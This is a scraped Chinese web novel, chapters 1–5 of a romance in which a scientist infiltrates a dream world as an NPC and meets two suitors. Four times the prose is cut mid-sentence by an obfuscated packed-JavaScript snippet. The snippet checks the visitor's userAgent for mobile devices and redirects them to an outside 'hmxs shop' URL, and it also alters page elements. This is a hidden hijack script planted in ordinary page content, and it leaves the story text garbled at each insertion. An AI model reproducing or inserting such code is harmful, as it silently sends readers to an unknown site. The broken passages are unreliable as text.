《男主们必须攻略我[万人迷]》 1. 第一关(1) “就是这样,我的推演才是对的。” 得意的宣告话音未落,身旁环境骤变。 短暂的晕眩过后,光幕的冷色调被冬日的暖阳代替。 突兀出现的女孩站在雪地中央。 她清瘦的脸上挂着淡淡黑眼圈,没什么血色,像都市怪谈里走火入魔的科学怪人。 鼻梁上架着的黑框眼镜勉强遮了眼下青黑,裴心念眯了眯眼睛,镜片反射阳光的角度让她不适。 裴心念是个天才。 近年来,塞塔梦境在星际猖獗泛滥,被联邦评定为S+级精神病毒。 眼下她凭借着自己牵头设计的修改器,躲过塞塔梦境的侦测,融入其中,成为了一名假冒伪劣的NPC。 这绝对是一项具有里程碑意义的突破。 【滴——塞塔梦境生成完毕】 【你在别人的梦里醒来了】 【根据你的特征,随机生成的身份是:恋爱关卡女主】 “啊。”裴心念惊讶了一瞬。 她不应该是什么恐怖科研组织的终极大boss吗? 【塞塔梦境的随机身份依据现实生活中的特征生成,关卡性质由临近域中NPC身份决定】 【请不要疑惑,这证明现实中有很多人喜欢你】 多新鲜呢。 裴心念对此持怀疑态度。 倒不是不自信,只是根据她对周围生物的认知来看,没有这个迹象啊? ……或许不准。 比起人,她更了解智械。 塞塔梦境随机生成的关卡危险系数极高,不乏恐怖灾难的副本,梦主脑死亡的几率居高不下。 恋爱关卡在这里显得清新脱俗,至少不那么危险。 来都来了,那就体验体验,找点乐子吧。 【你的任务是:以剧情设定的女主人设活动,配合梦主的攻略】 “一定要攻略成功吗?” 裴心念提问。 她来这里是要收集塞塔梦境的数据,其他体验是顺带的,如果非得完成攻略,会影响她的行动自由。 【攻略是梦主的任务,NPC只需要辅助剧情推动,不需要保证攻略的进度】 那就行。 裴心念低头,看到自己身上穿着一件鹅黄棉服,焦糖色围巾堆在脸旁,配色让她想到榛子板栗蛋糕。 已经穿得足够暖和了,但她还是冷。 她踩了踩自己在雪地上的脚印,安静等待着梦主的出现。 很快,前面拐角有一个白色的人影朝她挥手,很臃肿。 普通的脸。 最重要的是,越走近,瞧着越像选修课小组作业里某个不干活的组员。 裴心念磨了磨后槽牙。 完全提不起恋爱的兴致,萌动的只有杀心。 “我不要这个,换一个梦主。” 她理直气壮。 【塞塔幻梦中,NPC没有权限——滴滴滴——系统故障!】 裴心念微笑着按下修改器。 为了在进入恐怖关卡时保障人身安全,修改器虽然还是初版,但必须包含在初始关卡重置的功能。 她没有委屈自己的习惯。 谈恋爱,当然是想选谁就选谁! 【滴——塞塔梦境生成完毕】 【你在别人的梦里醒来了】 塞塔梦境重复了一遍欢迎语,无知无觉。 即使眼前看起来文静乖巧的NPC已经把它送去回炉重造了一通。 裴心念戳了戳脸边的毛绒围巾,和上次相同的质感,软软的。 好冷。 呵一口气,朦胧的雾就会在眼前散开。 还是同样的冬日街景。 塞塔梦境的防御系数比她预料的还要高,重置之后居然不改变环境建模。 正在她左右打量、琢磨着回去如何更新修改器版本之时。 不远处响起模糊的询问,带着轻微的电流音。 【我要抢先一步对她告白成功?】 裴心念顺着声音的方向看过去。 新的梦主已经出现! 他微低着头,表情冷冷的,声线也冷冷的。 眉目凛然,俨然一副高岭之花的模样。 皮肤是晃眼的冷白,肤色与剪裁利落的长款黑色大衣对比明显,身形挺拔。 裴心念勉强有了点兴趣。 【荀行】。 塞塔梦境自带的人物介绍光标在梦主的脑袋上方闪动了一会儿才消失。 【非生存关卡的梦,任务不做也没有关系吧。】 这位梦主眼前没有明显的雾气,说明并未张口。 那就是听到他的心里话了。 裴心念弯起唇角,很满意针对梦主进行心声解析的测试功能运行成功。 【塞塔梦境任务失败依然会有惩罚,请梦主提高游戏积极性】 梦境系统对他所说的话,经过二次截获,比梦主本人的心声更难以辨认。 隔着厚厚的雪,裴心念站在街对面,仔仔细细地听。 其实主要是看热闹。 被系统威胁,身不由己,身不由己啊。 嘿嘿,她就这么喜欢幸灾乐祸,爱看别人急得团团转。 可惜没吵多久。 双方拉锯结束,荀行大步朝这边走来,目光却虚空盯着裴心念脑瓜顶左侧的位置。 那地方应该是她的人物介绍。 裴心念平视着他漂亮的肩颈线条,思考对方脱掉大衣这种凹造型的东西之后会怎么样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882914|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于脸的详情—— 越靠近身高差距越大,懒得仰头去看,好累。 荀行在她面前站定,不知道是不是错觉,他犹豫了一瞬。 “……念念。” 哇,一见面就这么亲昵吗? 出于基本的社交礼仪,裴心念对上了对方的视线。 “嗨?”她试探性地回,声音小小的,和内心的邪恶自傲不符。 从她这个角度看,荀行有一双颜色很浅的灰色眼瞳,眉心微微蹙起。 薄唇浅淡,整个人跟周围的寒气简直融为一体。 看着看着,裴心念总觉得这张脸莫名其妙地眼熟。 也许漂亮男人都是相似的吧。 荀行看着她,同时在与梦境系统对话:【你们的人物介绍,只给小名不太合适。】 原来是只知道念念啊。 裴心念没听到塞塔梦境是怎么回复荀行的,由于梦主的靠近,她的修改器正在同步发回消息,盖过了带有电流干涉的心声。 (本次梦境关卡解析进度80%,关键节点0/1) 速度比预想的快,只是关键节点的破译还得费一番功夫。 “你周末有时间吗?”荀行低下头与她对视,语气稍显生硬。 “什么?当然——”裴心念关掉修改器的光幕。 “我记得你答应了他的邀请。”荀行让开一点身体,示意裴心念看身后转角处的人。 后边不知什么时候出现了一位新角色。 这个男生头发被寒风吹得凌乱,歪头和裴心念对上眼神,像一只搞不清楚情况的大型犬,正在迷茫放空中。 “咳,差点忘了。”裴心念轻轻咳嗽了一声,糊弄过去。 修改器目前最大的问题是会把NPC原有的记忆占位清除,否则没有余地存放其他资料。 她只能从梦主的心声推断出关卡的任务和目前的背景信息。 本来这也没什么。 能听到心声基本就是能听到梦主读任务的过程。 但是,眼前这个人看任务要求的时候居然不会默读出声! 可恶。 等她这关结束,一定要和负责心理建模的那位聊聊。 “你拒绝他吧。”荀行直起身子,重新把裴心念挡住,隔绝街道两边的视线交流。 “为什么?” “因为我喜欢你。” 好直球的打法。 但是根本没有谈恋爱的氛围,完全捧读,零分。 “我拒绝。” 裴心念回答得很认真。 又不是她要攻略别人,没有放水的义务! 【第一次任务失败】 随着塞塔梦境的宣告,眼前一片漆黑。 关卡重置了。 2. 第一关(2) 裴心念回到了初始场景中。 荀行没有马上出现,不知道人在哪里。 这次裴心念没有老老实实站在街边受冻,而是转头找了间咖啡店,推门而入。 外面冷死了,也不知道这个设定里的她要在那里等什么。 裴心念用身上仅有的手机付钱,点了一杯热拿铁。 这次的关卡似乎是旧时代背景,连终端都没有。 还好她是个智械狂热爱好者,家里收藏过几个复古手机,现在也能快速上手旧时代的工具。 她付完钱,里里外外把手机翻了个遍,寻找线索。 聊天记录一片空白。 打开朋友圈,扑面而来的是长长的沉浸式影评、风景摄影、看展感想之类,仿佛在浏览公共社媒,没什么个人信息。 角色设计好粗糙,差评。 只在棉服口袋里找到两张电影票,崭新,没有折痕。 裴心念捏着边角看了一眼,是4K修复的老电影,离她的时代已经太远。 她把电影名称输入手机搜索栏,只搜出来是爱情主题的片子。 “您的餐品。” 热气腾腾的拿铁端上来,裴心念把手环在杯沿下方取暖,慢慢把冻得僵硬的手指在暖融融的香气里熨开。 还是室内适合她。 裴心念扫了一眼修改器里一动不动的“80%”进度,琢磨着是不是要直接在这个世界里探索其他区域,别管什么关卡男主了。 恋爱哪里不能谈? 但一手数据可是珍稀资源。 她掐着下巴思考,直到对面的座位投下阴影,才被强行拉回到现实。 “荀——” 裴心念第一反应是梦主闪现了,半个名字卡在喉咙里。 好在她和陌生人社交时声音不大,对方没注意到这个喊错名字的小插曲。 坐下的不是荀行,而是街对面的凌乱狗狗男。 他的发型不像第一次见面那样不羁,服贴了很多,明显在见她之前有梳理过。 近距离看,他的发尾带一点棕色,不知道是染发褪色还是天生自带。 这人眼睛亮亮的,身高腿长,心理生理都很健康的样子。 裴心念转了转眼珠,看到了新出现的人物姓名光标。 【贺静远】,应该是个NPC。 “吃早餐了吗?”贺静远自然地伸出手,拨了拨她的碎发,把上面的雪花碎片捻下来。 “如你所见,在吃。”说多错多,裴心念打算稳健。 她甚至还小幅度地弯了弯唇角,根据两人目前可能不错的关系,适当表示友好。 暂时还没试探出来什么程度的ooc会被塞塔梦境识别到异常,她还是稍微不那么嚣张了。 啧,又给世界一天好脸色。 贺静远也朝她笑。 裴心念回忆起当时荀行挡住他的动作,再结合这次关卡的任务,不难推理得到:两位是情敌。 这个人,会对她告白吗? 她下意识地打量起对面的男生,他的态度不像是爱慕的样子,看她的眼神也没有什么特殊,要说亲密吧,跟她现实当中的竹马差不多。 “怎么了,我脸上有东西?”贺静远指指自己。 “你为什么会出现在这里。”裴心念大脑飞速运转,想到了什么,需要NPC解惑。 “小祖宗,是你喊我出来的啊,不是说去图书馆自习。”贺静远撑着脸看她,“今天出门又忘记带昨天的记忆了是不是。” “哦。”裴心念点点头,自动忽略后面半句,反正也解释不清楚,索性就不解释。 所以,她一开始在路边是等贺静远来赴约。 她和贺静远约了今天又约了周末,天天见面,荀行哪来的机会先一步表白成功啊? 果然,塞塔梦境就是坑梦主的专业户。 “早餐就吃这个?谁又撺掇你减肥了。”贺静远看她若有所思了半天,实在是忍不住,点了点桌子上孤零零的一杯拿铁,絮絮叨叨。 “本来就营养不良,又晕倒了怎么办。” “我,营养不良?晕倒?”裴心念指了指自己。 她在现实生活中可是会定时定量认真喝营养剂的,就是为了避免猝死在实验室里。 看起来瘦弱,可体检的时候各项指标都是正常。 “不知道是谁,运动打卡也能给自己跑昏过去。”贺静远恨铁不成钢,“不行,我去隔壁给你买点中国胃该吃的早饭。” “等等!”裴心念对他所说的“晕倒事件”很在意。 NPC主动提到的事件,说不定是破解这次任务关键节点的突破口。 眼看着贺静远就要自说自话地起身离开,裴心念“哗”的一下想要站起来,被脚下的椅子腿绊到,重心不稳。 贺静远眼疾手快,把她捞起来的同时隔开路过顾客,防止连环惨案发生。 “别着急别着急,我又不会飞走。” 站定后他没马上松手,而是趁乱揉了一把裴心念的脑袋,直到静电让她有点炸毛才罢休。 “出去说吧,不喝了。” 感受到周围视线的聚集,裴心念抿了抿唇,就这样半挟持着贺静远出了咖啡店。 …… “我上次怎么晕的?” 裴心念双手抱着煎饼果子的包装袋,继续追问。 “校医没说你摔到脑震荡了啊。”贺静远这下已经算得上惊恐了,眼神几乎要把她盯出一个洞来,“怎么懵懵的。” “就是让你陈述一下。你要论证‘我营养不良’的观点,总得举出论据。”她说得煞有介事。 贺静远看她一眼,好像习惯了一样,认命道: “秋季学期马上结算体育打卡了,你前几天自己去操场跑圈,结果才半圈就晕在跑道旁边。” “还是你们系的同学把你送去校医院的……对了,你不是说今天早上人家会路过这里,你顺便送个道谢礼物——我来之前你送了吗?” 裴心念嚼嚼嚼,咽下一口煎饼。 他来之前、道谢礼物? 她的脑海中快速闪回了上一局荀行挡住贺静远的场景。 “你说的这个同学,不会叫荀行吧。” “好像,是这个名字。”贺静远咳嗽一声,句子里有不自然的重音。 裴心念半眯起眼睛,对他的态度很狐疑。 “你给他送的什么?”贺静远虽然在问她,但眼神却虚焦停留在街边层层叠叠的小广告上,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882915|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道那些毫无审美的数字有什么好看的。 装松弛。 裴心念对人类行为小有研究还要拜自己的竹马所赐,这个心理专家告诉她,人在非常在意某些事情的时候,往往会选择先移开视线,装作不经意。 裴心念想到自己唯一能在身上搜罗出来的、能被称之为礼物的,就是两张电影票。 她本来要送给荀行电影票吗? 贺静远半天没听到回复,把正脸转了回来。 “其实我也没有很想知道,就是关心你一下……” “还没选好呢。”裴心念快速吃掉剩下的煎饼果子,一眨眼功夫,鬼点子生成。 她才不要困在这里等着荀行来攻略。 得主动探索地图,增加解析进度才行! 最好带一个本地人一起。 已经进入二周目,换不了梦主,但她可以自己选择和谁一起玩啊。 “我想不到男生喜欢什么,你跟我一起去买礼物。” “我才不会——” “这个。”裴心念把电影票抽出来,在他眼前晃了晃,“买完请你看电影。” “……”贺静远定睛看清她手里电影的场次,也不拒绝了,眼巴巴地,“你抢到了?前几天怎么不跟我说。” 这个嘛,之前她可能没想把票给他。 裴心念没想到自己只是随便一个小贿赂,竟然踩中了贺静远的心。 “你喜欢看电影?” “明知故问。”贺静远有点委屈地哼了一声,好像不太满意她今天陌生的态度,“你总不能是睡一觉起来就忘了我喜欢什么吧。” 裴心念连忙摆摆手。 一个身材如此适合户外运动的阳光开朗男大学生,竟然是文艺爱好者,确实有点儿违和。 去商场的地铁上,裴心念重新检查了一遍朋友圈,那些文艺评论洋洋洒洒,看得她有点晕字。 这些影评的作者都是同一个人,备注是很简单的姓名缩写,单看没什么价值,所以一开始裴心念没在意。 原来这就是贺静远的朋友圈。 不过底下的点赞只有孤零零的一个,昵称“今心今心”,是她的账号。 地铁到站,她距离初始点越来越远,修改器的数字也在缓慢往上跳。 81%、82%、83%…… 很好,有效果。 裴心念很高兴,一直盯着修改器的界面,全靠贺静远牵着她的围巾往前走。 她很放心地没有看路,因此没有第一眼看到前方出现的梦主。 直到两人前进的脚步突然停住,裴心念才猛抬头。 面前两道阴影,颇有剑拔弩张的意味。 “你找念念有事?”贺静远站在裴心念斜前方,语气不善地问。 好奇怪,刚才都没听他喊过念念。 千万不要在商场打起来呀。 裴心念没有任何诚意地祈祷着。 荀行表情复杂,好像只看得见裴心念一个人,把贺静远当成了空气。 比之前模糊许多的心声飘过来,塞塔梦境系统的声音更是断断续续。 【不同周目开局,我会随机刷新位置?】 【有……概率……请……把握时机】 3. 第一关(3) “我想和你单独聊聊。”荀行对裴心念道。 他已经在上一周目吃一堑长一智,没有再急于求成当众表白。 “有什么好聊的。”贺静远用只有她能听见的声音,小声嘀咕。 接着他马上提高音量,朗声道:“谢谢你上次帮我们念念,刚刚我们就说要来买点谢礼,正好你也在这。” “你有什么想要的?”他直接问,也不管这语气和道谢结合在一起有多诡异。 一口气说完,贺静远悄悄拿眼尾瞟了一眼她,牵着围巾的指节泛白,很用力。 “我想和念念聊一聊。”荀行不紧不慢地重复了一遍,依然是什么都不在乎的冷淡模样。 裴心念听到另一个声音喊自己名字,从贺静远身后探出脑袋,离荀行近了一些。 她的本意是想要把他的心声听得更清楚。 结果修改器上的进度居然也跟着飞涨,同时跳出提示: (本次梦境关卡解析进度90%,关键节点0/1) (本次关键节点辅助:在荀行的卧室中找到文件) 果然还是梦主周围的数据密度比较大……解析出来的关键节点居然在荀行的卧室里? 或许应该在不同场景下和梦主相见,最大限度榨取数据。 裴心念默默制定了之后的行动策略。 她安抚性地戳了一下贺静远绷紧的手臂肌肉,摇摇头,“我还没亲自跟人家说谢谢呢。” 贺静远不情不愿,松开了她的围巾尾巴,看着她走到一旁。 “上次你问我周末有没有时间看电影。”荀行的微笑称得上是温和,比之前自然得多,“我有空的,也想看。” 电影票果然是送给他的啊。 裴心念手在口袋里捏了捏那两张薄薄的纸,发觉塞塔梦境对他还是不赖,居然设定女主对他有点意思。 “啊,我已经约好跟他一起了。”裴心念指了指那边翘首以盼的贺静远,摊手表示无奈。 【不是说女主只和NPC约了周末去自习吗?】 荀行面上不显,质问梦境系统的声音只有裴心念能听见。 【二周目……梦境演化……正常】 塞塔梦境的声音实在变得太微弱了,裴心念盯着荀行,不语。 心声减弱可能是周目刷新带来的影响。 信息获取的来源减少对她不利,还是快一点完成关键节点为妙。 “你——” “你……” 两个人同时开口,都把下个字吞回了肚子里。 “你先说。”荀行顶着贺静远投来的有如实质的目光,恍若未觉,全副心神都集中在眼前女孩的身上。 “我们系马上考试了,等下我看完电影回来,可以去你家问点题吗?” 根据从贺静远那里得到的消息,荀行和她是同系同学。 再结合自己这三天两头要出门自习的架势,上过大学的都知道,肯定是马上期末周了,才会这么勤奋。 冬季学期考试,节令也是能对得上的。 “哦,顺便带点礼物过来感谢你。” 裴心念自信地把自己的推理直接用于行动,观察着荀行对此的反应。 “……好。”他的表情空白了一瞬,被未料想的好运砸中了,一时失语。 裴心念问他要了住址,很快退开,对他挥挥手。 “那之后见!” 荀行勾起一个浅淡的笑,微微颔首。 “什么之后见?”贺静远眉头皱得死紧,目光差点快把荀行凌迟了。 “我跟人家约了等下去送礼物啊。”裴心念不觉得有什么隐瞒的必要,拉着他的手臂把人转了个个,往另一个方向推着走,“顺便跟他请教一下专业课。” “不是吧,我们念念大王还有要请教别人的学业问题。” 贺静远语调夸张,但没有反抗,很是顺从她的动作。 “这你就不知道了吧,讨论问题也是拉近关系的方法呀。” 裴心念有点儿得意忘形,没注意到贺静远越来越黑的脸色。 直到贺静远挑挑拣拣,给荀行选了一个看望住院病人的果篮。 红苹果配绿缎带,果子注水严重,包装审美堪忧。 “你确定男生喜欢这个?”裴心念推了推眼镜,总觉得事情并没有如此简单。 不过她确实也对这些不太了解,反正最终目的是去荀行卧室找文件,礼物什么的,不重要。 “当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882916|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,他都不知道自己在干嘛了,可见脑子需要补补。”贺静远咬牙切齿,“吃点苹果,省了去看医生。” “好吧。” 贺静远就这样一手提着果篮,一手护着裴心念,和她检票进了电影厅。 坐下之后,裴心念拿出手机调整静音,看到新弹出的消息。 “你喜欢吃苹果蛋糕吗?我准备一下,待会儿过来刚好可以吃。” 发信人是她从来没有在通讯录看到的头像。 根据消息内容来看,这是荀行的联系方式。 此男看着十指不沾阳春水的,还喜欢做烘焙呢? 裴心念眼神复杂,移动到贺静远手边的果篮上。 送苹果,竟然意外地很对啊…… 她把目光放到贺静远的侧脸上。难道他真的是个送礼鬼才? “怎么了?”他偏过头看她,正在播放广告的屏幕正好投来光线,勾勒出鼻侧的阴影,看得裴心念呆了呆。 “你知道荀行会做苹果蛋糕,所以选的果篮当礼物吗?” 她定了定神,附耳过去,小小声问。 贺静远被可乐呛了一下,“我怎么会知道。” “……哦。他说要做。”裴心念慢吞吞地回,在近距离停顿了一会儿。 她在欣赏贺静远,塞塔梦境的NPC建模真的不错。 如果她有条件研发自己的空间域,也要捏个这样的人。 整场电影,两人安安静静,但都有点心不在焉。 裴心念对剧情不是很感兴趣,只是在对比银幕男主角和贺静远的脸。 贺静远一直在调整呼吸,仿佛暗暗下定了什么天大的决心。 剧终时周围掌声雷动,裴心念不太熟练地跟着一起鼓掌。 拍了没两下,就被贺静远握住了右边手腕。 有点烫。 “我……有话跟你说。” “啊?”裴心念听不清,索性把耳朵贴到他脸旁。 距离很近,鼓噪的心跳声和颤抖的尾音同时传来。 “我喜欢你。” 他的眼睛在明明灭灭的光影中闪着可怜的光。 “等下不要去找他好不好?” 【第二次任务失败】 4. 第一关(4) 裴心念猝不及防又被扔到雪地上,身体没反应过来,腿一软坐了下去。 好在雪层厚厚的,不疼。 原来被告白是这种感觉! 她揉揉自己的耳垂,发麻。 还是挺好玩的。 裴心念咬住下唇,在继续找人玩和去搜罗关键线索之间,艰难地做抉择。 “念念!” 眼前有什么唰地一下冲过来了,荡开积雪,火急火燎的。 “好好地站着都能摔?”见裴心念还睁着眼,贺静远松了一口气。 他把人捡起来,拍拍。 “你怎么这么快?”裴心念觉得不对。 一周目他只在最后闪现,二周目也是到咖啡店见面的。 难道NPC也会刷新位置吗? 不对,她每次都掉落在雪地上。 “我就在对面等你啊。”贺静远捂住她冻得发红的耳朵,不让她听清下半句,“不是说要先道谢吗,那男的怎么还不路过。” 原来她的刷新点和贺静远一样,只是事先说好了,先找荀行,前面两个周目才是那样发展的。 这次冲过来,可能是怕她又晕倒吧。 裴心念快速看了对方一眼,贺静远好看的脸都要皱成苦瓜了,显然是有话要说。 “你——” “等等!” 为了避免被再次拉去吃煎饼果子,裴心念迅速抬手阻止他说话,“这个送给你,我要去找一趟荀行。” 贺静远手里被塞了两张电影票,眼见着她跟一枚小炮弹一样发射出去了。 “他不走这条路了?” “换了换了!” “……” “马上回来,下午电影院见!” 裴心念挥挥手,留下一个潇洒的背影。 她还是想再去感受感受恋爱氛围的,关键节点也得推进。 不做抉择,只要够快,两边都要! 裴心念在附近一路跑,没见荀行的影子,不知道他这次又被传送到哪里了。 她停下来喘气打车的空档,点开手机给那个没有聊天记录的头像发了消息。 “同学你好,我现在去你家道谢可以吗?” 想了想,裴心念又打上补丁,“请你发一下你家的地址。” 免得被发现也有上周目的记忆。 然后她转身钻进叫来的车,冻得直搓手。 荀行回复得很快。 “可以。” “你想吃什么甜点吗?” 啊,又要做吃的。 裴心念捏了捏下巴,她倒是挺想尝试上次提到的苹果蛋糕,但主动提出有被察觉身份的风险。 “我都喜欢。” 裴心念随意编辑了一条消息发过去,“甜一点就行。” 她是超级甜口人,营养剂都喜欢喝甜度最高的,好在星际有成熟的代糖技术,没有让她喝出个好歹来。 但是塞塔梦境里面,可以随便吃真糖。 旧时代的甜品! 她来了! 裴心念还顺便点了一单外送果篮,照样买了苹果作为礼物。 她关上车门,满心欢喜地冲向荀行家的单元楼下。 和外卖骑手交接之后,裴心念数了数果篮里的果子,刚好八个,那就祝他发财吧。 “哗——” 楼上劈头盖脸浇下来一盆水,裴心念提着果篮试图躲闪,还是被溅到了围巾。 她往上看,记住了正在关闭的窗户,是四楼。 “喂,这是入户门诶!” 裴心念迅速把围巾拽下来,仰头喊:“你们家里是垃圾堆啊,这么脏!” 对方被她唬得缩起来当乌龟,不声不响。 倒是二楼的窗开了。 裴心念看清是荀行,立马指指自己的手机。 “四楼右边那户人家往楼下泼脏水,你们这里都没人骂他们吗?” 她马上埋头戳戳屏幕,点击发送。 “先上来吧。”荀行简单地回复了一句,对她故意展现的情绪无动于衷。 ……真是的,指望一个比智械还冷的人做什么。 裴心念自认没趣,反正她已经自己出气了。 她上楼,边走边甩围巾的尾巴,那一点儿脏污已经看不清了。 走到荀行家门口的时候,大门敞着,她畅通无阻。 很朴素的装修风格,大多是木色的家具。 裴心念站在玄关处等了一会儿,没想到荀行家不是冷冰冰的黑白色调,还有点意外。 他人呢? 裴心念站着等得有点头晕目眩,没看到拖鞋,又不想翻箱倒柜,于是直接走到沙发上瘫倒。 荀行要是有洁癖,那就自己受着吧。 裴心念想,谁叫这个梦主这么讨厌。 等着等着,等到她要昏睡过去,门口传来脚步声,层沓重叠。 裴心念迷迷糊糊张开眼,看到荀行身后还跟着个唯唯诺诺的人。 和前面高挑的梦主比起来,那跟着的人更显猥琐,脸上又惧又怒,不知道的还以为梦主用塞塔梦境的系统权限给他电击了。 “你看这不也没什么——” “跟她道歉。”荀行的语气依然是目空一切的直截了当。 他望过来时顿了一下,上前用手背试裴心念的额头温度。 “我没生病。”她躲开,一个鲤鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882917|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打挺坐了起来。 “对不住对不住,不好意思。”四楼的肇事者连连打摆子。 “好吧,也不是什么大事。”裴心念眨眨眼,一肚子坏水往外冒,“不过你好像把他家地板踩脏了哦。” 对方一个激灵。 他根本来不及确认,只是忙不迭地对荀行道歉,得到“嗯”的一声回应后,立马灰头土脸窜了出去。 荀行把门带上,低头看着一路蜿蜒到沙发边的痕迹,默默打开柜子,找了一双尺码过大的家居鞋。 “鞋子也脏了?” 荀行见裴心念直勾勾地盯着自己,敛眸弯腰,找了一块干净的角落,半蹲下给她换鞋。 哇——裴心念表情不变,在脑子里吱哇大叫。 这个梦主怎么像是去什么攻略培训班上过课了一样。 脚踝被轻轻捏住,脱下鞋后被放在了对方的大腿上,荀行就半跪在那里剪没拆的商标。 裴心念看了看自己鹅黄色的毛绒袜子,用了点力气,向下踩了踩。 没把他弄翻,遗憾。 从她的角度,可以把轻颤的睫毛看得很清晰。 哎呀,可惜周目太多,听不见心声了。 裴心念想,此情此景要是配上梦主不情不愿的心理活动,应该更好玩。 “谢谢你上次救了我,那边的苹果是给你的礼物。” “不用谢。”荀行帮她把家居鞋穿好。 裴心念俯视着那双灰色眼睛,话锋一转:“你卧室有卫浴吗?” “有。” “我要洗。” “……好,我去准备甜点,做苹果蛋糕,炒一点菜。”荀行有些迟疑,“你有需要换洗的衣服吗?” “啊?”裴心念只想着要去找文件,对洗澡的过程不是很在意,“不用了,我的衣服还能穿。” 荀行起身,点点头。 “你不许中途进来哦!”她抱着毛巾提醒。 被打发走的荀行没有什么怨言,系上围裙去厨房忙活了。 裴心念走入卧室内部,先迅速排查了一遍摄录仪器。 有关键节点文件的场所,还是小心为上。 她开了浴室的花洒,放出水声,然后开始寻找卧室中的文件。 修改器的解析进度此时已经跳到了99%。 厨房的锅碗瓢盆声和浴室的水流声混在一起,掩盖住了裴心念翻找的动静。 她搜得很仔细,从衣柜到抽屉,一直到枕头底下、床垫底下。 全部没有反应。 裴心念有点奇怪,就这么大点的地方,就算是直接走过去,修改器也应该有提示才对啊。 难道这里不是荀行的卧室? 5. 第一关(5) 她看了一眼床头摆着的慕斯蛋糕模型,寻思着梦主有没有骗她的动机。 眼神略过去,又重新被那模型吸引回去。 荀行真的很喜欢甜点。 裴心念灵光一闪。 甜点模型! 她一直觉得荀行有点眼熟,同是帅哥,对贺静远就没有这种感觉。 说明根本就不是因为长得漂亮导致的脸盲,而是她在现实世界中见过荀行。 裴心念目前在联邦军政学院上学,但已经在实验室打工了。 前阵子投实习的时候,好像某科技公司的老板就特别喜欢做甜点模型,还有一句“想把厨房当作卧室”的震撼发言。 也许是那时候,在相关的资料上见过荀行的脸。 裴心念一目十行,不重要的资料可能只在视网膜上停留过零点几秒。 她打算试试,去厨房看看。 裴心念连忙跑进浴室把水关掉,装模作样地沾了点洗发水,然后用清水冲洗,打湿了头发。 她冲出房间,正看到系着围裙的人在沙发前弯腰。 手机锲而不舍地响铃,上面亮屏显示的备注是“呵呵呵”。 贺静远? “你的电话。”荀行把手机递给她。 裴心念腹诽,如果是她闯关,早就耍赖死活也要摁掉了,荀行倒是一点也不急的样子。 她擦了擦还有水渍的手,试了两次也没点开。 荀行帮她滑开接听。 “喂?” “念念,你现在在哪儿呢?”听筒里果然传来贺静远的声音。 裴心念被震得一悚,免提声音好大。 她瞥了眼荀行,这人根本就是故意的吧。 “念念?”她缩脖子的当口,贺静远又问了一遍。 “她在我家。”荀行帮她回答,伸手接住她发尾滴落的水珠。 电话那头短暂地沉默了。 贺静远没有回答荀行,依然是对着裴心念在说话: “记得吃饭,今天早上那个时间点你肯定还没吃早餐。” “我会招待她的。” 荀行简单地回了一句,按下了挂断。 “不好意思,手有点快了。” 他的表情没有什么歉意,“你会不会还有要跟他说的?” “呃,暂时没有。” 裴心念不知道怎么形容这种诡异的氛围,打算快速溜去厨房一探究竟。 “等等。” 荀行拉了一下她的手臂,“头发不吹容易头痛。” “但是我饿了,想吃东西。”裴心念抿唇,“你也听到了,我饿肚子又会晕倒的。” “饭还没好。”荀行用了一点力气把她拉过来,“再等等。” 裴心念重新坐回了沙发,被半圈在怀里。 旧时代吹风机的声音呼啦呼啦的,很响。 暖风的温度又很舒服,让人昏昏欲睡。 这期间能听见的其他声音,都像是幻听。 比如久违的电流声。 【很可爱……是……哪里的建模?】 裴心念警觉地瞟了一眼面无表情的荀行。 貌似无事发生。 等吹到头发蓬松,裴心念说什么也要自己去厨房,再三拒绝荀行端菜的提议。 “会烫到。” “我先去看看嘛。” 最后荀行还是妥协了,放裴心念一个人钻进满是甜品香气的厨房。 她的猜想没错。 一推开房门,修改器就开始滴滴滴地响,裴心念毫不费力就找到了这方空间中唯一一个能称得上文件的东西。 带着防水层的笔记本,看起来像是菜谱。 